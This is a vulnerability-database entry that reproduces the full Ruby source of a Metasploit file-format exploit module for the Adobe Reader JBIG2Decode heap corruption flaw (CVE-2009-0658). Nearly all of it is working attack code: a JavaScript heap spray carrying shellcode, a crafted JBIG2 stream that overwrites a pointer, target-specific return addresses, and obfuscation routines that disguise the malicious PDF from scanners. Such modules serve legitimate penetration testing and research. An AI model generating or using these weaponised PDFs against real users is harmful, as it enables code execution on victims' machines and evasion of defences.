Adobe JBIG2Decode Memory Corruption

2009-03-27T02:32:13
ID MSF:EXPLOIT/WINDOWS/FILEFORMAT/ADOBE_JBIG2DECODE
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

This module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier. This module relies upon javascript for the heap spray.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'zlib'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Adobe JBIG2Decode Memory Corruption',
      'Description'    => %q{
          This module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier.
          This module relies upon javascript for the heap spray.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          # Metasploit implementation
          'natron',
          # bl4cksecurity blog explanation of vuln [see References]
          'xort', 'redsand',
          # obfuscation techniques and pdf template from util_printf
          'MC', 'Didier Stevens <didier.stevens[at]gmail.com>',
        ],
      'References'     =>
        [
          [ 'CVE' , '2009-0658' ],
          [ 'OSVDB', '52073' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => 'true',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => ""
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Adobe Reader v9.0.0 (Windows XP SP3 English)', { 'Ret' => 0x0166B550 } ], # Ret * 5 == 0x07018A90 (BIB.dll)
          [ 'Adobe Reader v8.1.2 (Windows XP SP2 English)', { 'Ret' => 0x9B004870 } ], # Ret * 5 == 0x07017A30 (BIB.dll)
        ],
      'DisclosureDate' => 'Feb 19 2009',
      'DefaultTarget'  => 0))

    register_options([
      OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
    ])

    end

  def exploit
    # Encode the shellcode.
    shellcode 		= Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
    ptroverwrite 	= Rex::Text.to_unescape([target.ret].pack("V"))

    nops    = Rex::Text.to_unescape(make_nops(4))

    # Randomize some variables
    rand1	= rand_text_alpha(rand(50) + 1)
    rand2	= rand_text_alpha(rand(50) + 1)
    rand3	= rand_text_alpha(rand(50) + 1)
    rand4	= rand_text_alpha(rand(50) + 1)
    rand5	= rand_text_alpha(rand(50) + 1)
    rand6	= rand_text_alpha(rand(50) + 1)
    rand7	= rand_text_alpha(rand(50) + 1)
    rand8	= rand_text_alpha(rand(50) + 1)
    rand9	= rand_text_alpha(rand(50) + 1)
    rand10	= rand_text_alpha(rand(50) + 1)
    rand11	= rand_text_alpha(rand(50) + 1)
    rand12	= rand_text_alpha(rand(50) + 1)
    rand13	= rand_text_alpha(rand(50) + 1)
    rand14	= rand_text_alpha(rand(50) + 1)
    rand15	= rand_text_alpha(rand(50) + 1)
    rand16	= rand_text_alpha(rand(50) + 1)

    script = %Q|
    var #{rand1} = "";
    var #{rand2} = "";
    var #{rand3} = unescape("#{shellcode}");
    var #{rand4} = "";

    for (#{rand5}=128;#{rand5}>=0;--#{rand5}) #{rand4} += unescape("#{nops}");
    #{rand6} = #{rand4} + #{rand3};
    #{rand7} = unescape("#{nops}");
    #{rand8} = 20;
    #{rand9} = #{rand8}+#{rand6}.length
    while (#{rand7}.length<#{rand9}) #{rand7}+=#{rand7};
    #{rand10} = #{rand7}.substring(0, #{rand9});
    #{rand11} = #{rand7}.substring(0, #{rand7}.length-#{rand9});
    while(#{rand11}.length+#{rand9} < 0x40000) #{rand11} = #{rand11}+#{rand11}+#{rand10};
    #{rand12} = new Array();
    for (#{rand5}=0;#{rand5}<100;#{rand5}++) #{rand12}[#{rand5}] = #{rand11} + #{rand6};

    for (#{rand5}=142;#{rand5}>=0;--#{rand5}) #{rand2} += unescape("#{ptroverwrite}");
    #{rand13} = #{rand2}.length + 20
    while (#{rand2}.length < #{rand13}) #{rand2} += #{rand2};
    #{rand14} = #{rand2}.substring(0, #{rand13});
    #{rand15} = #{rand2}.substring(0, #{rand2}.length-#{rand13});
    while(#{rand15}.length+#{rand13} < 0x40000) #{rand15} = #{rand15}+#{rand15}+#{rand14};
    #{rand16} = new Array();
    for (#{rand5}=0;#{rand5}<125;#{rand5}++) #{rand16}[#{rand5}] = #{rand15} + #{rand2};
|
    eaxptr		= "\x00\x20\x50\xff" 		# CALL DWORD PTR DS:[EAX+20]
    eaxp20ptr	= "\x05\x69\x50\x50"		# Shellcode location called by CALL DWORD PTR DS:[EAX+20]
    modifier	= "\x00\x69\x00\x00"		# ECX values seen: 02004A00, 033C9F58, 0338A228, 031C51F8, 0337B418
                # natron@kubuntu-nkvm:~$ ./pdf-calc-val.rb 0x690000
                # EAX: 0x690000   ECX: 0x2004a00   WriteAddr: 0xa3449ec
                # EAX: 0x690000   ECX: 0x358a228   WriteAddr: 0xb8ca214

    jbig2stream	= eaxptr + "\x40\x00" + modifier + eaxp20ptr

    # Create the pdf
    pdf = make_pdf(script, jbig2stream)

    print_status("Creating '#{datastore['FILENAME']}' file...")

    file_create(pdf)
  end

  def random_non_ascii_string(count)
    result = ""
    count.times do
      result << (rand(128) + 128).chr
    end
    result
  end

  def io_def(id)
    "%d 0 obj" % id
  end

  def io_ref(id)
    "%d 0 R" % id
  end

  #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
  def n_obfu(str)
    result = ""
    str.scan(/./u) do |c|
      if rand(3) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
        result << "#%x" % c.unpack("C*")[0]
      # Randomize the spaces and newlines
      elsif c == " "
        result << " " * (rand(3) + 1)
        if rand(2) == 0
          result << "\x0d\x0a"
          result << " " * rand(2)
        end
      else
        result << c
      end
    end
    result
  end

  def ascii_hex_whitespace_encode(str)
    result = ""
    whitespace = ""
    str.each_byte do |b|
      result << whitespace << "%02x" % b
      whitespace = " " * (rand(3) + 1)
    end
    result << ">"
  end

  def make_pdf(js, jbig2)

    xref = []
    eol = "\x0d\x0a"
    endobj = "endobj" << eol

    pdf = "%PDF-1.5" << eol
    pdf << "%" << random_non_ascii_string(4) << eol
    xref << pdf.length
    pdf << n_obfu(" ") << io_def(1) << n_obfu(" << /Type /Catalog /Outlines ") << io_ref(2) << n_obfu(" /Pages ") << io_ref(3) << n_obfu(" /OpenAction ") << io_ref(5) << " >> " << endobj
    xref << pdf.length
    pdf << n_obfu(" ") << io_def(2) << n_obfu(" << /Type /Outlines /Count 0 >> ") << endobj
    xref << pdf.length
    pdf << n_obfu(" ") << io_def(3) << n_obfu(" << /Type /Pages /Kids [ ") << io_ref(4) << n_obfu(" ") << io_ref(7) << n_obfu(" ] /Count 2 >> ") << endobj
    xref << pdf.length
    pdf << n_obfu(" ") << io_def(4) << n_obfu(" << /Type /Page /Parent ") << io_ref(3) << n_obfu(" /MediaBox [0 0 612 792 ] >> ") << endobj
    xref << pdf.length
    pdf << n_obfu(" ") << io_def(5) << n_obfu(" << /Type /Action /S /JavaScript /JS ") + io_ref(6) + " >> " << endobj
    xref << pdf.length

    compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js), rand(5)+4) # Add random 4-9 compression level
    pdf << n_obfu(" ") << io_def(6) << n_obfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode ] >>" % compressed.length) << eol
    pdf << "stream" << eol
    pdf << compressed << eol
    pdf << "endstream" << eol
    pdf << endobj
    xref << pdf.length

    pdf << n_obfu(" ") << io_def(7) << n_obfu(" << /Type /Page /Parent ") << io_ref(3) << " /Contents [ " << io_ref(8) << " ] >> " << eol

    xref << pdf.length
    compressed = Zlib::Deflate.deflate(jbig2.unpack('H*')[0], rand(8)+1) # Convert to ASCII hex, then deflate using random 1-9 compression
    pdf << n_obfu(" ") << io_def(8) << n_obfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol
    pdf << "stream" << eol
    pdf << compressed << eol
    pdf << "endstream" << eol
    pdf << endobj

    xrefPosition = pdf.length
    pdf << "xref" << eol
    pdf << "0 %d" % (xref.length + 1) << eol
    pdf << "0000000000 65535 f" << eol
    xref.each do |index|
      pdf << "%010d 00000 n" % index << eol
    end
    pdf << "trailer" << n_obfu("<< /Size %d /Root " % (xref.length + 1)) << io_ref(1) << " >> " << eol
    pdf << "startxref" << eol
    pdf << xrefPosition.to_s() << eol
    pdf << "%%EOF" << eol
  end
end